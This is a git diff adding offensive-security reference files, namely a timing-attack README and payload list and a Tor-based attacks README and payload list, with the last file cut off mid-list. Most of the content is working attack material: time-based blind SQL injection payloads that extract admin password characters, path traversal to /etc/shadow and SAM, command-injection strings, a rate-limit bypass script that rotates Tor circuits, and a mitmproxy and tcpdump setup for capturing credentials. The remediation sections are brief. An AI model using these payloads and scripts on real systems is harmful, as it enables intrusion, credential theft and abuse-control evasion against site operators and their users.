avg, 'stdev': stdev} + + return results +``` + +### 2. **Burp Suite Intruder** +- Use "Pitchfork" attack type +- Add "Response received" column +- Sort by response time +- Look for patterns + +### 3. **Timing Attack Tools** +```bash +# Using cURL with timing +for i in {1..100}; do + curl -w "Time: %{time_total}s\n" -o /dev/null -s \ + "https://example.com/api/check?username=user$i" +done + +# Using Apache Bench +ab -n 1000 -c 10 https://example.com/login + +# Using wrk for timing analysis +wrk -t12 -c400 -d30s https://example.com/api +``` + +### 4. **Statistical Analysis Tools** +```python +import numpy as np +import matplotlib.pyplot as plt + +# Analyze timing data +times_existing_users = [0.245, 0.248, 0.251, 0.247, 0.249] +times_nonexistent_users = [0.048, 0.051, 0.049, 0.050, 0.047] + +print(f"Existing users avg: {np.mean(times_existing_users):.4f}s") +print(f"Non-existing users avg: {np.mean(times_nonexistent_users):.4f}s") + +# Plot histogram +plt.hist(times_existing_users, alpha=0.5, label='Existing') +plt.hist(times_nonexistent_users, alpha=0.5, label='Non-existing') +plt.legend() +plt.xlabel('Response Time (s)') +plt.ylabel('Frequency') +plt.title('Timing Attack - User Enumeration') +plt.show() +``` + +## Exploitation Impact + +- **Critical:** Password/key extraction, cryptographic attacks +- **High:** User enumeration, session discovery, data extraction +- **Medium:** Information disclosure, system behavior mapping +- **Privacy Impact:** Reveals user existence, activity patterns + +## Remediation + +### 1. **Constant-Time Operations** +```python +# Bad - Early return +def check_password(input_password, stored_password): + if len(input_password) != len(stored_password): + return False + for i in range(len(input_password)): + if input_password[i] != stored_password[i]: + return False # Early return leaks information + return True + +# Good - Constant-time comparison +import hmac + +def check_password_secure(input_password, stored_password): + return hmac.compare_digest(input_password.encode(), stored_password.encode()) +``` + +### 2. **Normalize Response Times** +```python +import time +import random + +def login(username, password): + start_time = time.time() + + # Perform authentication + result = authenticate(username, password) + + # Add random delay to normalize timing + elapsed = time.time() - start_time + target_time = 0.5 # Fixed response time + if elapsed < target_time: + time.sleep(target_time - elapsed + random.uniform(0, 0.05)) + + return result +``` + +### 3. **Rate Limiting** +- Implement aggressive rate limiting on sensitive endpoints +- Use exponential backoff +- CAPTCHA after multiple attempts + +### 4. **Identical Code Paths** +- Execute same operations for valid and invalid inputs +- Always query database even if username doesn't exist +- Always perform password hash comparison + +### 5. **Timing Jitter** +```python +import random +import time + +def add_timing_jitter(): + time.sleep(random.uniform(0.01, 0.05)) +``` + +### 6. **Blinding Techniques** +- Use blinding in cryptographic operations +- Add random delays +- Use secure libraries (e.g., libsodium) + +### 7. **Monitoring and Detection** +- Monitor for unusual timing patterns +- Detect rapid sequential requests +- Alert on systematic timing probes + +### 8. **Use Secure Libraries** +- Use constant-time comparison functions +- Use timing-safe cryptographic libraries +- Follow OWASP guidelines + +## References + +- [OWASP - Timing Attacks](https://owasp.org/www-community/attacks/Timing_attack) +- [NIST - Timing Attacks on Implementations](https://csrc.nist.gov/glossary/term/timing_attack) +- [Remote Timing Attacks are Practical](https://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf) +- [Cache-Timing Attacks on AES](https://cr.yp.to/antiforgery/cachetiming-20050414.pdf) + +## Payloads + +See `timing-attacks-payloads.txt` for a comprehensive list of timing attack payloads and test cases. diff --git a/Timing-Attacks/timing-attacks-payloads.txt b/Timing-Attacks/timing-attacks-payloads.txt new file mode 100644 index 0000000..fdbe075 --- /dev/null +++ b/Timing-Attacks/timing-attacks-payloads.txt @@ -0,0 +1,481 @@ +# Timing Attack Payloads + +# ============================================ +# 1. USER ENUMERATION VIA TIMING +# ============================================ + +# Test usernames (measure response time differences) +username=admin +username=administrator +username=root +username=test +username=user +username=nonexistent_user_12345 +username=aaaaaaaaaaaaaaaaaaaa + +# Email enumeration +email=admin@example.com +email=user@example.com +email=nonexistent@example.com +email=invalid@invalid.invalid + +# ============================================ +# 2. PASSWORD LENGTH DISCOVERY +# ============================================ + +# Try passwords of increasing length +password=a +password=ab +password=abc +password=abcd +password=abcde +password=abcdef +password=abcdefgh +password=abcdefghij +password=abcdefghijkl +password=abcdefghijklmno +password=abcdefghijklmnopqrst + +# ============================================ +# 3. SQL TIMING INJECTION PAYLOADS +# ============================================ + +# Basic sleep-based payloads +' OR SLEEP(5) -- +' OR IF(1=1, SLEEP(5), 0) -- +' AND SLEEP(5) -- +admin' AND SLEEP(5) -- +admin' OR SLEEP(5) # + +# MySQL time-based blind SQL injection +' OR IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0) -- +' OR IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0) -- +' OR IF(LENGTH(DATABASE())>5, SLEEP(5), 0) -- +' AND IF((SELECT user FROM mysql.user LIMIT 1)='root', SLEEP(5), 0) -- + +# PostgreSQL time-based +' OR pg_sleep(5) -- +'; SELECT pg_sleep(5) -- +' OR (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) -- + +# MSSQL time-based +'; WAITFOR DELAY '00:00:05' -- +' OR WAITFOR DELAY '00:00:05' -- +'; IF (1=1) WAITFOR DELAY '00:00:05' -- +' AND (SELECT COUNT(*) FROM users) > 0; WAITFOR DELAY '00:00:05' -- + +# Oracle time-based +' OR DBMS_LOCK.SLEEP(5) -- +' AND DBMS_LOCK.SLEEP(5) -- + +# SQLite time-based +' OR randomblob(100000000) -- +' AND randomblob(100000000) -- + +# Heavy computation (alternative to SLEEP) +' OR BENCHMARK(5000000, SHA1('test')) -- +' AND BENCHMARK(10000000, MD5('test')) -- + +# Conditional time delays +' OR IF((SELECT COUNT(*) FROM users WHERE username='admin')=1, SLEEP(5), 0) -- +' OR IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0) -- +' OR IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96, SLEEP(5), 0) -- + +# Data exfiltration via timing +' OR IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a', SLEEP(5), 0) -- +' OR IF((SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin')='b', SLEEP(5), 0) -- + +# ============================================ +# 4. TOKEN VALIDATION TIMING +# ============================================ + +# Valid format tokens (will take longer to validate) +token=550e8400-e29b-41d4-a716-446655440000 +token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c + +# Invalid format tokens (will fail fast) +token=invalid +token=12345 +token=abc123 +token=test +token=null + +# ============================================ +# 5. OTP/PIN TIMING BRUTE FORCE +# ============================================ + +# 4-digit PIN testing (measure time for each) +pin=0000 +pin=0001 +pin=0002 +pin=1111 +pin=1234 +pin=5555 +pin=9999 + +# 6-digit OTP testing +otp=000000 +otp=111111 +otp=123456 +otp=654321 +otp=999999 + +# Character-by-character timing +otp=100000 +otp=200000 +otp=300000 +# If 1xxxxx takes longer, first digit is 1 + +otp=110000 +otp=120000 +otp=130000 +# Continue for each position + +# ============================================ +# 6. SESSION VALIDATION TIMING +# ============================================ + +# Valid UUID format sessions +session_id=550e8400-e29b-41d4-a716-446655440000 +session_id=123e4567-e89b-12d3-a456-426614174000 + +# Invalid format sessions +session_id=invalid +session_id=12345 +session_id=test_session + +# Sequential session IDs +session_id=1 +session_id=2 +session_id=100 +session_id=1000 + +# ============================================ +# 7. FILE EXISTENCE TIMING +# ============================================ + +# Common file paths +file=../../../../../../etc/passwd +file=../../../../../../etc/shadow +file=../../../../../../etc/hosts +file=../../../../../../var/log/apache2/access.log +file=../../../config/database.yml +file=../../../.env +file=../../../.git/config + +# Windows paths +file=C:\Windows\System32\config\SAM +file=C:\Windows\win.ini +file=C:\boot.ini + +# ============================================ +# 8. CRYPTOGRAPHIC TIMING ATTACKS +# ============================================ + +# RSA signature verification timing +signature= +# Measure verification time to leak key bits + +# HMAC timing attacks +hmac=correct_hmac_value +hmac=incorrect_hmac_value +# Non-constant-time comparison leaks information + +# Password hash comparison +password_hash=correct_bcrypt_hash +password_hash=incorrect_bcrypt_hash + +# ============================================ +# 9. CACHE TIMING DETECTION +# ============================================ + +# Request same resource multiple times +GET /api/user/1 +GET /api/user/1 +GET /api/user/1 +# Second and third should be faster if cached + +# Resource enumeration via cache +GET /api/user/1 +GET /api/user/2 +GET /api/user/3 +GET /api/user/100 +# Cached resources respond faster + +# ============================================ +# 10. RACE CONDITION TIMING +# ============================================ + +# Send simultaneous requests +# POST /transfer amount=1000&from=victim&to=attacker +# (send 10 requests simultaneously) + +# Parallel password reset +# POST /forgot-password email=victim@example.com +# (send multiple requests in parallel) + +# Concurrent registration +# POST /register username=attacker&email=test@example.com +# (send multiple requests with same email) + +# ============================================ +# 11. RATE LIMITING DETECTION +# ============================================ + +# Send rapid requests to detect rate limiting +# Request 1-100 to same endpoint +# Measure time for each +# Detect when responses start taking longer + +# ============================================ +# 12. DATABASE QUERY TIMING +# ============================================ + +# Boolean-based timing +query=' OR '1'='1' AND SLEEP(5) -- +query=' OR '1'='2' AND SLEEP(5) -- +# First one sleeps, second one doesn't + +# Conditional queries with timing +search=test' AND (SELECT COUNT(*) FROM users)>0 AND SLEEP(5) -- +search=test' AND (SELECT COUNT(*) FROM users)>1000 AND SLEEP(5) -- + +# ============================================ +# 13. AUTHENTICATION ENDPOINT TIMING +# ============================================ + +# Login timing comparison +username=admin&password=wrongpassword +username=nonexistent&password=wrongpassword +# Measure difference in response time + +# 2FA timing +otp=000000 +otp=111111 +otp=123456 +# Measure validation time + +# ============================================ +# 14. API ENDPOINT TIMING +# ============================================ + +# Valid vs invalid API keys +Authorization: Bearer valid_format_key_12345678901234567890 +Authorization: Bearer invalid +# Valid format takes longer to validate + +# Permission check timing +GET /api/admin/users (with admin token) +GET /api/admin/users (with user token) +# Different timing reveals permission check depth + +# ============================================ +# 15. SEARCH FUNCTIONALITY TIMING +# ============================================ + +# Search for existing vs non-existing data +search=admin +search=nonexistent_data_12345 +# Existing data may take longer to retrieve + +# Wildcard search timing +search=a% +search=admin% +search=administrator% +# Results count affects timing + +# ============================================ +# 16. COMPARISON TIMING ATTACKS +# ============================================ + +# Secret comparison (character-by-character) +secret=a000000000 +secret=b000000000 +secret=c000000000 +# If 'a' is correct first character, it takes slightly longer + +# Token comparison +token=a123456789012345 +token=b123456789012345 +# Non-constant-time comparison leaks information + +# ============================================ +# 17. HMAC VERIFICATION TIMING +# ============================================ + +# Correct HMAC +hmac=2d5f8f5e1c8b9a7f3e4d6c2b1a0f9e8d + +# Incorrect HMAC (different lengths) +hmac=incorrect +hmac=1234567890abcdef +hmac=ffffffffffffffffffffffffffffffff + +# ============================================ +# 18. BACKUP CODE TIMING +# ============================================ + +# Test backup codes +backup_code=ABCD-EFGH-IJKL-MNOP +backup_code=1234-5678-9012-3456 +backup_code=invalid + +# ============================================ +# 19. EMAIL VALIDATION TIMING +# ============================================ + +# Existing email addresses +email=admin@example.com +email=user@example.com + +# Non-existing email addresses +email=nonexistent@example.com +email=invalid@invalid.com + +# ============================================ +# 20. PERMISSION CHECK TIMING +# ============================================ + +# Access with different permission levels +GET /api/resource/1 (as admin) +GET /api/resource/1 (as user) +GET /api/resource/1 (as guest) +# Different permission checks take different times + +# ============================================ +# 21. REGEX TIMING ATTACKS (ReDoS) +# ============================================ + +# Exponential backtracking patterns +input=(a+)+b +input=aaaaaaaaaaaaaaaaaaaaaaaa! +input=(a|a)*b +input=(a|ab)*c + +# Email validation ReDoS +email=a@a.a....(repeat many times)...@a.a +email=aaaaaaaaaaaaaaaaaaaaaa@aaaaaaaaaa.com + +# URL validation ReDoS +url=http://aaaaaaaaaaaaaaaaaaaaa.... + +# ============================================ +# 22. CAPTCHA TIMING +# ============================================ + +# Correct CAPTCHA response +captcha=correct_answer +# Takes longer to validate + +# Incorrect CAPTCHA +captcha=wrong_answer +# Fails fast + +# ============================================ +# 23. WEBHOOK TIMING +# ============================================ + +# Valid webhook URLs +webhook_url=https://attacker.com/callback +# Timing reveals if webhook is called + +# Invalid webhook URLs +webhook_url=invalid_url +# Fails fast without making request + +# ============================================ +# 24. FILE UPLOAD TIMING +# ============================================ + +# Upload allowed file types +file=image.jpg +# Takes time to process + +# Upload disallowed file types +file=shell.php +# Fails fast + +# ============================================ +# 25. API VERSION TIMING +# ============================================ + +GET /api/v1/users (newer version with more checks) +GET /api/v0/users (older version with fewer checks) +# Different timing reveals version differences + +# ============================================ +# 26. SUBDOMAIN TIMING +# ============================================ + +# Check subdomain existence via timing +GET https://admin.example.com +GET https://api.example.com +GET https://internal.example.com +GET https://nonexistent.example.com +# Existing subdomains may respond differently + +# ============================================ +# 27. HEADER VALIDATION TIMING +# ============================================ + +# Valid authentication headers +Authorization: Bearer eyJhbGc... +# Takes time to validate JWT + +# Invalid headers +Authorization: Bearer invalid +# Fails fast + +# ============================================ +# 28. CRYPTO OPERATION TIMING +# ============================================ + +# RSA operations with different keys +public_key= +public_key= +# Timing leaks key information + +# AES operations +plaintext=aaaaaaaa +plaintext=bbbbbbbb +# Timing may leak key bits + +# ============================================ +# 29. BUSINESS LOGIC TIMING +# ============================================ + +# Discount code validation +discount_code=VALID2024 +discount_code=INVALID +# Valid codes take longer to validate + +# Referral code timing +referral=VALID_REFERRAL +referral=INVALID_CODE + +# ============================================ +# 30. TIME-BASED BLIND ATTACKS +# ============================================ + +# XML External Entity with timing + +]> +&xxe; +# Timing reveals if file exists + +# SSRF with timing +url=http://localhost:22 +url=http://localhost:80 +url=http://localhost:3306 +# Open ports take longer to timeout + +# ============================================ +# STATISTICAL TIMING ANALYSIS +# ============================================ + +# For all above payloads, use statistical methods: +# 1. Send each payload 50-100 times +# 2. Calculate mean and standard deviation +# 3. Compare distributions +# 4. Use t-test or similar to determine significance +# 5. Account for network jitter with multiple measurements diff --git a/Tor-Based-Attacks/README.md b/Tor-Based-Attacks/README.md new file mode 100644 index 0000000..88c6278 --- /dev/null +++ b/Tor-Based-Attacks/README.md @@ -0,0 +1,618 @@ +# Tor-Based Attacks and Anonymity Testing + +## Description +Tor (The Onion Router) is a network designed for anonymous communication. While Tor provides privacy benefits, it also presents unique security challenges for web applications. Attackers can abuse Tor to conduct attacks while remaining anonymous, and applications can be vulnerable to Tor-specific exploitation techniques. This guide covers vulnerabilities related to Tor usage and testing methodologies. + +## Understanding Tor in Security Context +Tor routes internet traffic through multiple relay nodes, making it difficult to trace the origin. For security testing: +- **Attackers** use Tor to hide their identity during attacks +- **Applications** may have Tor-specific vulnerabilities +- **Onion services** (.onion sites) have unique attack surfaces +- **Exit nodes** can manipulate unencrypted traffic + +## Common Tor-Related Vulnerabilities + +### 1. **Tor Exit Node Traffic Manipulation** +Malicious exit nodes can intercept and modify unencrypted traffic. + +### 2. **Tor User Deanonymization** +Exploits that can reveal the real IP address of Tor users. + +### 3. **Onion Service Enumeration** +Discovering hidden services and their vulnerabilities. + +### 4. **Tor Circuit Manipulation** +Attacks targeting Tor's circuit creation and routing. + +### 5. **Fingerprinting Tor Users** +Detecting and fingerprinting users accessing via Tor. + +### 6. **Rate Limiting Bypass via Tor** +Using Tor to bypass IP-based rate limiting. + +### 7. **Hidden Service Authorization Bypass** +Exploiting authentication in Tor hidden services. + +### 8. **Timing Attacks on Tor** +Analyzing timing patterns to deanonymize users. + +### 9. **Tor Browser Exploitation** +Browser-specific vulnerabilities affecting Tor Browser. + +### 10. **Man-in-the-Middle at Exit Nodes** +SSL stripping and traffic interception at exit nodes. + +## Testing Methodology & PoC Examples + +### PoC 1: Detecting Tor Users + +**Vulnerability:** Application doesn't handle Tor users appropriately. + +**Detection Methods:** +```python +# Check against Tor exit node list +import requests + +def is_tor_exit_node(ip_address): + # Tor Project provides exit node list + tor_list_url = "https://check.torproject.org/torbulkexitlist" + + try: + response = requests.get(tor_list_url, timeout=10) + tor_ips = response.text.split('\n') + return ip_address in tor_ips + except: + return False + +# Usage +user_ip = "1.2.3.4" +if is_tor_exit_node(user_ip): + print("User is connecting via Tor") +``` + +**HTTP Headers to Check:** +```http +X-Forwarded-For: +Via: 1.1 tor-proxy +``` + +--- + +### PoC 2: Rate Limiting Bypass via Tor + +**Vulnerability:** IP-based rate limiting can be bypassed using Tor. + +**Attack Technique:** +```python +import requests +import time + +# Using Tor's SOCKS proxy +proxies = { + 'http': 'socks5h://127.0.0.1:9050', + 'https': 'socks5h://127.0.0.1:9050' +} + +def rotate_tor_circuit(): + # Connect to Tor control port and request new circuit + from stem import Signal + from stem.control import Controller + + with Controller.from_port(port=9051) as controller: + controller.authenticate() + controller.signal(Signal.NEWNYM) + time.sleep(controller.get_newnym_wait()) + +# Attack: Bypass rate limiting +for i in range(100): + try: + response = requests.post( + 'https://example.com/api/endpoint', + data={'attack': 'payload'}, + proxies=proxies + ) + print(f"Request {i}: {response.status_code}") + + # Get new Tor circuit every 10 requests + if i % 10 == 0: + rotate_tor_circuit() + except Exception as e: + print(f"Error: {e}") +``` + +--- + +### PoC 3: Onion Service Enumeration + +**Vulnerability:** Hidden services can be discovered and mapped. + +**Enumeration Tools:** +```bash +# Using OnionScan +onionscan --verbose http://example.onion + +# Using ahmia.fi search +curl "https://ahmia.fi/search/?q=keyword" + +# Custom enumeration script +python3 onion_scanner.py --target example.onion +``` + +**Python Onion Scanner:** +```python +import requests +import re + +def scan_onion_service(onion_url): + proxies = { + 'http': 'socks5h://127.0.0.1:9050', + 'https': 'socks5h://127.0.0.1:9050' + } + + try: + # Connect to onion service + response = requests.get(onion_url, proxies=proxies, timeout=30) + + # Extract information + print(f"Status: {response.status_code}") + print(f"Server: {response.headers.get('Server', 'Unknown')}") + + # Look for other onion links + onion_links = re.findall(r'[a-z2-7]{16,56}\.onion', response.text) + print(f"Found {len(onion_links)} onion links") + + return response + except Exception as e: + print(f"Error: {e}") + return None + +# Usage +scan_onion_service('http://example.onion') +``` + +--- + +### PoC 4: Exit Node Traffic Interception + +**Vulnerability:** Unencrypted traffic through Tor can be intercepted at exit nodes. + +**Attack Scenario:** +```bash +# Running a malicious exit node +# Exit node intercepts all HTTP traffic + +# Capture credentials from HTTP sites +tcpdump -i eth0 -A 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' + +# SSL Strip attack +sslstrip -l 8080 + +# DNS spoofing at exit node +# Redirect traffic to attacker-controlled servers +``` + +**Python Exit Node Simulator (Educational):** +```python +from mitmproxy import http + +def request(flow: http.HTTPFlow) -> None: + # Intercept and log credentials + if flow.request.method == "POST": + print(f"POST to: {flow.request.pretty_url}") + print(f"Data: {flow.request.content}") + + # Modify response + if "password" in str(flow.request.content): + print("[!] Password captured!") +``` + +--- + +### PoC 5: Tor Browser Fingerprinting + +**Vulnerability:** Tor Browser users can be fingerprinted despite anonymity. + +**Fingerprinting Techniques:** +```javascript +// JavaScript fingerprinting +function fingerprintTorUser() { + const fingerprint = { + userAgent: navigator.userAgent, + language: navigator.language, + platform: navigator.platform, + screenResolution: `${screen.width}x${screen.height}`, + timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, + plugins: Array.from(navigator.plugins).map(p => p.name), + canvas: getCanvasFingerprint(), + webgl: getWebGLFingerprint(), + fonts: detectFonts() + }; + + // Send to server + fetch('/track', { + method: 'POST', + body: JSON.stringify(fingerprint) + }); +} + +function getCanvasFingerprint() { + const canvas = document.createElement('canvas'); + const ctx = canvas.getContext('2d'); + ctx.textBaseline = 'top'; + ctx.font = '14px Arial'; + ctx.fillText('Fingerprint', 2, 2); + return canvas.toDataURL(); +} +``` + +**Server-Side Detection:** +```python +def detect_tor_browser(request): + user_agent = request.headers.get('User-Agent', '') + + # Tor Browser has specific UA patterns + tor_patterns = [ + 'Mozilla/5.0 (Windows NT 10.0; rv:', # Tor Browser on Windows + 'Mozilla/5.0 (X11; Linux x86_64; rv:', # Tor Browser on Linux + 'Mozilla/5.0 (Macintosh; Intel Mac OS X; rv:', # Tor Browser on macOS + ] + + for pattern in tor_patterns: + if pattern in user_agent and 'Gecko' in user_agent: + return True + + return False +``` + +--- + +### PoC 6: Hidden Service Authentication Bypass + +**Vulnerability:** Weak authentication on .onion services. + +**Testing Methods:** +```bash +# Test for default credentials +curl --socks5-hostname 127.0.0.1:9050 \ + http://example.onion/admin \ + -u admin:admin + +# Test for authentication bypass +curl --socks5-hostname 127.0.0.1:9050 \ + -H "Authorization: Bearer null" \ + http://example.onion/api + +# Directory bruteforce on onion service +gobuster dir \ + --proxy socks5://127.0.0.1:9050 \ + -u http://example.onion \ + -w wordlist.txt +``` + +--- + +### PoC 7: Timing Analysis for Deanonymization + +**Vulnerability:** Traffic timing patterns can reveal user identity. + +**Attack Concept:** +```python +import time +import requests + +def timing_attack_tor(target_url): + proxies = { + 'http': 'socks5h://127.0.0.1:9050', + 'https': 'socks5h://127.0.0.1:9050' + } + + timings = [] + + # Collect timing samples + for i in range(100): + start = time.time() + try: + response = requests.get(target_url, proxies=proxies, timeout=30) + elapsed = time.time() - start + timings.append(elapsed) + print(f"Request {i}: {elapsed:.4f}s") + except Exception as e: + print(f"Error: {e}") + + time.sleep(0.1) + + # Analyze timing patterns + import statistics + print(f"Mean: {statistics.mean(timings):.4f}s") + print(f"Std Dev: {statistics.stdev(timings):.4f}s") + + return timings +``` + +--- + +### PoC 8: Onion Service Discovery via SSRF + +**Vulnerability:** SSRF can be used to scan internal onion services. + +**Payload:** +```http +POST /api/fetch HTTP/1.1 +Host: example.com +Content-Type: application/json + +{ + "url": "http://internal.onion/admin" +} +``` + +**Python SSRF Scanner:** +```python +import requests + +# Known onion service TLDs +onion_services = [ + 'http://3g2upl4pq6kufc4m.onion', # DuckDuckGo + 'http://thehiddenwiki.onion', + 'http://internal-service.onion' +] + +for service in onion_services: + try: + # Attempt SSRF + response = requests.post( + 'https://vulnerable-app.com/api/fetch', + json={'url': service}, + timeout=60 + ) + + if response.status_code == 200: + print(f"[+] Accessible: {service}") + print(response.text[:200]) + except Exception as e: + print(f"[-] Failed: {service}") +``` + +--- + +### PoC 9: Tor Circuit Hijacking + +**Vulnerability:** Malicious relays can manipulate circuits. + +**Concept (Theoretical):** +```python +# Controlling both guard and exit nodes +# Attacker runs malicious Tor nodes + +def attempt_circuit_correlation(): + # Monitor guard node traffic + guard_traffic = capture_guard_traffic() + + # Monitor exit node traffic + exit_traffic = capture_exit_traffic() + + # Correlate timing and packet sizes + for guard_packet in guard_traffic: + for exit_packet in exit_traffic: + if correlate(guard_packet, exit_packet): + print("[!] Circuit identified!") + print(f"User: {guard_packet.source}") + print(f"Destination: {exit_packet.destination}") +``` + +--- + +### PoC 10: Onion Service Vulnerability Scanning + +**Vulnerability:** Onion services may have standard web vulnerabilities. + +**Scanning with Burp Suite:** +```bash +# Configure Burp to use Tor SOCKS proxy +# Settings -> Network -> SOCKS Proxy +# Host: 127.0.0.1 +# Port: 9050 + +# Then scan onion service normally +``` + +**Automated Scanning:** +```bash +# Using nikto through Tor +proxychains nikto -h http://example.onion + +# Using sqlmap through Tor +sqlmap -u "http://example.onion/page?id=1" \ + --tor --tor-type=SOCKS5 --check-tor + +# Using nmap through Tor +proxychains nmap -sT -Pn -p 80,443 example.onion +``` + +**Python Vulnerability Scanner:** +```python +import requests +from bs4 import BeautifulSoup + +def scan_onion_vulns(onion_url): + proxies = { + 'http': 'socks5h://127.0.0.1:9050', + 'https': 'socks5h://127.0.0.1:9050' + } + + tests = { + 'XSS': ['', '">'], + 'SQLi': ["' OR '1'='1", "admin'--"], + 'Command Injection': ['; ls', '| whoami'], + 'Path Traversal': ['../../etc/passwd', '....//....//etc/passwd'] + } + + for vuln_type, payloads in tests.items(): + print(f"Testing {vuln_type}...") + for payload in payloads: + try: + response = requests.get( + f"{onion_url}?input={payload}", + proxies=proxies, + timeout=30 + ) + + # Basic detection + if payload in response.text: + print(f"[!] Potential {vuln_type} vulnerability") + except: + pass +``` + +--- + +## Additional Tor-Related Testing Techniques + +### 11. **Tor Network Consensus Manipulation** +Testing if application validates Tor consensus data. + +### 12. **Hidden Service Descriptor Attacks** +Manipulating hidden service descriptors. + +### 13. **Onion Service DoS** +Testing resilience against DoS via Tor. + +### 14. **Exit Node Detection Bypass** +Evading Tor exit node blacklists. + +### 15. **Tor Bridge Enumeration** +Discovering and testing Tor bridges. + +## Tools for Tor-Based Testing + +### 1. **Tor Network Tools** +```bash +# Start Tor +tor + +# Tor with specific exit node +tor --ExitNodes {CountryCode} + +# Check Tor connection +curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/ + +# Get new Tor identity +killall -HUP tor +``` + +### 2. **Python with Tor** +```python +import requests + +proxies = { + 'http': 'socks5h://127.0.0.1:9050', + 'https': 'socks5h://127.0.0.1:9050' +} + +response = requests.get('https://example.com', proxies=proxies) +``` + +### 3. **Stem Library (Tor Controller)** +```python +from stem import Signal +from stem.control import Controller + +with Controller.from_port(port=9051) as controller: + controller.authenticate() + + # Get new identity + controller.signal(Signal.NEWNYM) + + # Get circuit info + for circ in controller.get_circuits(): + print(f"Circuit {circ.id}: {circ.path}") +``` + +### 4. **OnionScan** +```bash +# Scan onion service +onionscan --verbose http://example.onion + +# Scan with specific tests +onionscan --mode standard http://example.onion +``` + +### 5. **Proxychains** +```bash +# Configure proxychains for Tor +# Edit /etc/proxychains.conf +# socks5 127.0.0.1 9050 + +# Use with any tool +proxychains curl https://example.com +proxychains nmap -sT target.onion +``` + +## Exploitation Impact + +- **Critical:** Complete deanonymization of Tor users +- **High:** Traffic interception, hidden service compromise +- **Medium:** Fingerprinting, rate limit bypass +- **Privacy Impact:** Loss of anonymity, user tracking + +## Remediation + +### 1. **Detect and Handle Tor Users** +```python +def handle_tor_traffic(request): + if is_tor_exit_node(request.ip): + # Apply additional security measures + require_captcha() + enforce_stricter_rate_limits() +``` + +### 2. **Use HTTPS Always** +```http +Strict-Transport-Security: max-age=31536000; includeSubDomains +``` + +### 3. **Implement Onion Service Security** +``` +# torrc configuration +HiddenServiceDir /var/lib/tor/hidden_service/ +HiddenServicePort 80 127.0.0.1:8080 +HiddenServiceAuthorizeClient stealth client1 +``` + +### 4. **Rate Limiting Beyond IP** +```python +# Use multiple factors for rate limiting +rate_limit_key = f"{user_session}:{user_agent}:{behavior_pattern}" +``` + +### 5. **Prevent Fingerprinting** +```javascript +// Disable fingerprinting vectors +Object.defineProperty(navigator, 'plugins', { get: () => [] }); +``` + +### 6. **Monitor for Tor Abuse** +```python +# Log and monitor Tor connections +if is_tor_exit_node(ip): + logger.warning(f"Tor connection from {ip}") + check_for_abuse_patterns() +``` + +### 7. **Implement Circuit Padding** +For onion services, use circuit padding to resist timing attacks. + +### 8. **Validate Tor Consensus** +Verify Tor network consensus to detect manipulation. + +## References + +- [Tor Project Official Documentation](https://www.torproject.org/docs/) +- [Tor Exit Node List](https://check.torproject.org/torbulkexitlist) +- [OnionScan Tool](https://github.com/s-rah/onionscan) +- [Tor Browser Design](https://2019.www.torproject.org/projects/torbrowser/design/) +- [Attacks on Tor](https://github.com/Attacks-on-Tor/Attacks-on-Tor) + +## Payloads + +See `tor-based-payloads.txt` for a comprehensive list of Tor-related attack payloads and testing techniques. diff --git a/Tor-Based-Attacks/tor-based-payloads.txt b/Tor-Based-Attacks/tor-based-payloads.txt new file mode 100644 index 0000000..bfe6c5f --- /dev/null +++ b/Tor-Based-Attacks/tor-based-payloads.txt @@ -0,0 +1,444 @@ +# Tor-Based Attack Payloads + +# ============================================ +# 1. TOR CONNECTION SETUP +# ============================================ + +# Tor SOCKS proxy configuration +SOCKS_PROXY=socks5h://127.0.0.1:9050 +HTTP_PROXY=http://127.0.0.1:8118 # Polipo/Privoxy + +# Test Tor connection +curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/ +curl --socks5-hostname 127.0.0.1:9050 https://icanhazip.com + +# ============================================ +# 2. TOR EXIT NODE LIST CHECKING +# ============================================ + +# Get Tor exit node list +curl https://check.torproject.org/torbulkexitlist + +# Check if IP is Tor exit node +curl "https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=TARGET_IP" + +# DNS-based Tor exit node check +# Query: REVERSE_IP.REVERSE_TARGET_IP.ip-port.exitlist.torproject.org +# Example: dig 1.0.0.127.80.1.0.168.192.ip-port.exitlist.torproject.org + +# ============================================ +# 3. RATE LIMITING BYPASS +# ============================================ + +# Rotate Tor circuits for new IP +# Using stem library +# controller.signal(Signal.NEWNYM) + +# Automated requests with circuit rotation +# Request 1-10 with IP A +# Rotate circuit (get new IP) +# Request 11-20 with IP B +# Continue... + +# Testing rate limits +for i in {1..100}; do + curl --socks5-hostname 127.0.0.1:9050 https://example.com/api/endpoint + # Rotate every 10 requests + if [ $((i % 10)) -eq 0 ]; then + killall -HUP tor + sleep 5 + fi +done + +# ============================================ +# 4. ONION SERVICE ENUMERATION +# ============================================ + +# Common onion service patterns +http://*.onion +http://*.onion/admin +http://*.onion/login +http://*.onion/panel +http://*.onion/api + +# Known onion services for testing +http://3g2upl4pq6kufc4m.onion (DuckDuckGo) +http://thehiddenwiki.onion +http://darknetlive.onion + +# Subdirectory enumeration +/admin +/panel +/dashboard +/api +/login +/register +/upload +/download +/files + +# ============================================ +# 5. ONION SERVICE SCANNING +# ============================================ + +# Port scanning through Tor +proxychains nmap -sT -Pn -p 80,443,8080 example.onion + +# Service detection +proxychains nmap -sV -p 80 example.onion + +# Directory bruteforce +gobuster dir --proxy socks5://127.0.0.1:9050 -u http://example.onion -w wordlist.txt + +# Nikto scan +proxychains nikto -h http://example.onion + +# ============================================ +# 6. TOR BROWSER FINGERPRINTING EVASION +# ============================================ + +# Tor Browser User-Agent strings +User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0 